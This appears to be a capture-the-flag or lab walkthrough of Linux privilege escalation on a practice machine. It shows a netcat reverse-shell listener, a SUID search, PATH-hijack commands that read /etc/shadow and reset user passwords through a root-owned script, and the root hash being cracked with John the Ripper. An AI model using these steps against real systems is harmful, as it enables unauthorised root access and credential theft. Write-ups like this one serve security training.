➜ ~ nc -nlvp 1234
listening on [any] 1234 ...
​
connect to [172.16.129.128] from (UNKNOWN) [172.16.129.139] 59640
/bin/sh: 0: can't access tty; job control turned off
$ whoami
user6
spawn shell
$ python3 -c "__import__('pty').spawn('/bin/bash')"
Welcome to Linux Lite 4.4
Thursday 12 August 2021, 11:11:45
Memory Usage: 343/985MB (34.82%)
Disk Usage: 5/217GB (3%)
Support - https://www.linuxliteos.com/forums/ (Right click, Open Link)
user6 / | var | www | html
Privilege Escalation
you can run Linux Privilege Escalation Awesome Script - LinPEAS for fast enumeration
here we go for manual way ...
#01 SUID rights Exploit
execute this command find / -perm -u=s -type f 2>/dev/null searching for "sticky bits"
run the shell
#02 Cracking the root password "PATH Variable"
as we notice that running /home/user5/script
trigger ls command
let's abuse this remember this exploit run because sticky bit -run as root-
cd /tmp
echo "cat /etc/shadow" > ls
chmod 777 ls
export PATH=/tmp:$PATH
cd /home/user5
./script
copy root shadow to attacker machine in text file called shadow
using john the ripper to crack password
➜ ~ john shadow
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
12345 (?)
1g 0:00:00:00 DONE 2/3 (2021-08-12 12:31) 10.00g/s 2560p/s 2560c/s 2560C/s 123456..franklin
Use the "--show" option to display all of the cracked passwords reliably
Session completed
password is 12345
#03 Root shell by exploiting SUDO rights of user1
if all password hard to crack we can change
echo 'echo "user1:12345" | chpasswd' > ls
chmod 777 ls
export PATH=/tmp:$PATH
cd /home/user5
./script
su user1
sudo –l
sudo su
Credentials : user1:12345
sudo -l to list privilege of user
wait !! user1 can sudo all things with no password
We changed the password of all the users to 12345 using the same methodology as above and switched between users to check for more exploits. We found that user8 has a sudo permission for vi editors.